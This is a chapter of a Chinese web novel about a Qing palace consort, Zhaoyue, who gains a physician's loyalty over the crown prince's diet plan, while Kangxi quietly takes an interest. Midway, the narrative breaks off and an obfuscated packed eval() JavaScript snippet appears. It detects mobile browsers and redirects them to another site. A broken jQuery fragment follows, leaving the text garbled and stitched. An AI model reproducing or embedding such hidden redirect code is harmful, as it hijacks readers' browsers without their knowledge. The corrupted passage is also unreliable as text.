太医跟着小太监一路疾行,到了景仁宫呼吸还有些急促。
看到来人,昭玥有些惊讶,谢太医此时不应该在给太子拟膳食单子吗,怎么有空来给她请脉?
她伸出手,不着痕迹的问道:“有劳大人了。今日是谢大人当值?”
“回娘娘的话,今日确是微臣当值。”他知道昭玥在疑惑什么,却没有细说,只是安静垂眼把脉。
隔了几息后他收回手,态度恭敬道:“娘娘此番是惊悸忧思,心神有些受损,故而精神不佳。”
白露听到诊断结果面露疑色,自家主子这是什么时候受的惊吓,自己竟然一点也没有察觉。
昭玥却早有预料,依旧不急不缓:“那依谢大人所见应当如何调理。”
他余光扫到白露的脸色,声音放缓宽慰道:“这倒不是什么大病,药也不必服用,饮食上清淡温补些即可。只有一点要谨记,需凝神静养,切忌劳心伤神。”
听罢他的诊断,昭玥微微颔首,朝着霜降绽开一抹微笑:“太医都说不严重了,连药都用不着喝,这下你该放心了吧。”
霜降悬着的心终于落下,嗔怪的瞥了昭玥一眼:“娘娘身体要一直康健才行,否则奴婢哪里能真正放心。”
说罢上前两步,将手中早已备下的荷包塞入谢太医手中,福了福身道:“有劳大人跑一趟了。”
谢太医也不推辞,收了荷包向昭玥行了一礼,并未急着走。
他面上带着些犹豫,踌躇再三终于开口:“娘娘,微臣还有一事想要禀报。”
昭玥有些意外,她与谢太医不过一面之缘,甚至还不如和高太医熟悉,他能有什么事情需要禀报的。
不过她对这个在一众御医院判中唯一一个敢于直言,又言之有物的太医感官不错,倒也愿意听听他想说些什么。
“谢大人不妨直言。”她的目光投向这个年轻太医。
“关于太子殿下的饮食问题,微臣昨夜已经拟好了具体单子,这是微臣的手稿,还望娘娘提点。”
他从怀中掏出本折子,恭敬的双手奉上。
提到饮食单子,昭玥了然,果然还是与此事有关。她不再懒散,而是坐直了身子。
白露见状从谢太医手中接过单子呈给昭玥。
“谢大人效率如此高,果然是医术了得,做事认真。”昭玥翻开册子,看到第一页就忍不住点头,越往后翻越是满意:“这份单子写得如此详尽,甚至将相克的食物都罗列出来,用法用量也一目了然,本宫也没什么能提点的地方了。”
“既然事情办好了,想必谢太医从本宫这回去后,就要呈给万岁爷了吧。”她将册子放到手边,开口问道。
语气虽是有些不确定,但她眼中是洞察一切的明晰。
谢太医苦笑一声:“此事还需高太医和两位院判过目方可呈到御前,而这份折子......依院判大人所言,还需改进。”
“改进?”昭玥指尖在册子上轻轻敲击,若有所思:“那院判可有说要在哪方面改进?表哥说让高太医从旁协助,他又作何想?”
谢太医低头拱手:“院判大人说此法过于繁琐,且太子殿下千金之躯,不能冒一丝风险,故而许多食材都被两位大人否决了。高太医倒是未曾有什么意见。”
“院判说的也有几分道理。”她盯着谢太医故意道。
听了昭玥前半句话,谢太医眼中闪过一丝失望,但还是勉强挤出笑容:“娘娘所言甚是,还是应当再谨慎些。”
“谢大人别着急啊,谨慎是应当的,可冒险一说从何而来,谢太医所列的食材可有什么相克之物并未写明,或是有什么不易察觉的毒性。”
这话可把谢太医惊到了,他连连摆手,赶忙道:“绝无此事!绝无此事!微臣不敢妄言,所择食材皆是性味平和,最适宜幼儿所食之物,且用量时辰都有严格规定,绝对不会损伤太子殿下身子。”说到这他顿了顿,语气更添几分无奈:“院判大人所谓的风险,许是觉着这些东西终究是外物,哪里比得上乳母喂养稳妥。”
他虽着急失望,却还是条理分明逻辑清晰的为自己辩驳。提到自己擅长的领域时,言语间都带着自信。
“若是只让乳母喂养,本宫又何须在皇上面前提及此事,谢太医是明白人,自然知道添加辅食的好处。”
“娘娘慧眼,微臣做了这许多年的太医,却直到圣上与娘娘问起才敢说出口,实在惭愧。”谢太医面露愧色:“只是微臣虽拟好章程,可两位院判大人压在上面,怕是还需一段时日才能真正呈到皇上面前了。”
他看昭玥并非站在院判那边,心中又燃起希望,干脆直言不讳。
“无碍,你将这单子放在本宫这边即可,其余之事就不必操心了。”昭玥摆摆手。
谢太医闻言猛地抬头,眼中带着惊愕,他是来求助的,可也没想过明妃娘娘直接将事情揽过:“娘娘,院判大人那边怕是会有微词......”
身为太医,他清楚的知道两位院判的地位。宫中向来没人愿意开罪他们,毕竟人食五谷杂粮,哪有不生病的呢。今天明妃娘娘直接越过他们将折子递给圣上,难保明天他们就敢不细心医治。
昭玥却不是很在意这个,在她看来要说得罪,在提出要加辅食的那一刻起就得罪了,只是彻不彻底的区别而已。
她既然决心要改变命运,护住保成,便注定不能一味求全,被动的等待命运垂青,最保险的还是身边要有一些信得过的人。
院判不尽心,自然会有别的尽心人替代他们。
她目光划过忧心忡忡的谢太医,唇角不由挂上笑意,眼前不就是一个现成的人选。
“谢大人不必担心,太医院又不是只有院判,更何况不是还有大人你吗。”她打趣道:“看到这本册子的第一眼,我就知道大人必定是有真才实学的。”
谢伯远听了这话心头一跳,明白这是昭玥在给他递橄榄枝。他压下翻涌的情绪,正色道:“微臣别的不敢保证,但家中祖上皆是行医之辈,家学渊源,自识字起就开始学医,医术方面还请娘娘放心。”
数代行医,家学渊源,昭玥咂摸着这句话的意思,总算明白他为何在太医院受排挤了,怕是这从前的造化大着呢。
“你家祖上也做过御医?”她索性直接问道。
他知道明妃娘娘得知真相后不一定还会重用他,但家中的情况必然瞒不过昭玥,他也不可能抛却过往:“不敢欺瞒娘娘,确是如此。微臣祖上曾在前朝太医院就职,后来家道中落,父亲与祖父只在民间行医,直到微臣得蒙圣恩,有幸入宫侍奉各位主子。”
这话说的委婉,但已经为昭玥勾勒出一个世家的兴衰起落。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922717|192626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
疑人不用,用人不疑。昭玥自认还是有几分眼力劲的,谢太医人品、心性与医术在众位太医中都是佼佼者。至于出身,非但不是减分项,反而让她能更放心的重用。
这样的人最不容易变成他人手中的爪牙。
况且自己做了十八年的华夏儿女,自认一辈子都是华夏儿女。当下出身高贵与否都不重要,重要的是能力。
“原来如此。”昭玥点了点头,面色如常的掠过谢太医最担心的地方:“家学渊源是好事,如此一来本宫对你的医术更放心了。”
谢伯远心中大石落地,随之涌起的是难以言喻的感激。他入宫至今也有十年了,除了凭借自身才学爬到如今的位置,就再也没得过哪位的青眼,平日里做的多是吃力不讨好的杂活。
在这宫中有时候医术不是最要紧的,要紧的是有没有人赏识,若无人赏识,任凭他有一身本领也施展不出。
昭玥的这份知遇之恩,于他而言便是久旱逢甘霖。
他后退一步,整了整衣冠,端端正正的行了个大礼:“得娘娘信任是微臣的福分,微臣定当竭尽所能,为娘娘效力。”
昭玥微微一笑,伸手虚扶:“谢大人不必多礼,眼下最要紧的还是太子的饮食,你回去后暂且不必多说,一切如常即可。”
“微臣明白,还请娘娘放心。”
*
午时刚过,乾清宫东暖阁里,康熙刚批完一摞奏折,正倚在榻上闭目养神。
梁九功轻手轻脚地进来,奉上一盏参茶,低声禀报:“万岁爷,景仁宫那边,上午谢太医去给明妃娘娘请了平安脉。”
康熙也未睁开眼,抬起两根手指,示意梁九功说下去。
见状梁九功继续道:“明妃娘娘有些惊悸忧思,精神不佳,谢太医嘱咐需静养,倒是不严重,也不必用药。”
病了?捕捉到关键词的康熙双眼迅速睁开,眸中划过担忧,听到病情不重后才重新靠了回去。
“只是谢太医请脉后并未立刻离开,与娘娘在内室叙话颇久,还呈上了一本册子。”
他眸光清亮,看起来并无半分倦意:“册子?有关什么的?”
“是太子殿下的饮食单子,院判压着要谢大人删减许多,故而谢大人去请示娘娘,娘娘便将那册子留下了。”梁九功如实禀报。
康熙嘴角几不可察的弯了一下,眼中透着了然:“唉,表妹就是因为朕,太过操心保成的事情,这才累着了。”
他像是自言自语,又像是在说给梁九功听:“这种事情怎么值当表妹亲自处理,差人来告诉朕一声便可,倒还把自己折腾病了。”
梁九功哪能不明白自家主子的意思:“娘娘仁善,又敬重您,怎么能不疼爱太子殿下,多上心几分。”
“嗯,是这样,表妹向来如此。”康熙深以为然。
“你去派人将册子取来,表妹如今需要静养,就别让她来回折腾了。”康熙思忖片刻,又道:“你再着人送些上好的燕窝,让她补补神。”
“奴才明白。”梁九功心领神会,躬身退下。
康熙独自留在暖阁内,目光投向窗外,忽地有些恼她,怎么这般不懂爱惜自己。
“真是个傻丫头。”他低低叹了一句,语气里却并无责怪,只有连自己都未察觉的纵容,看来还是要自己多费些心了。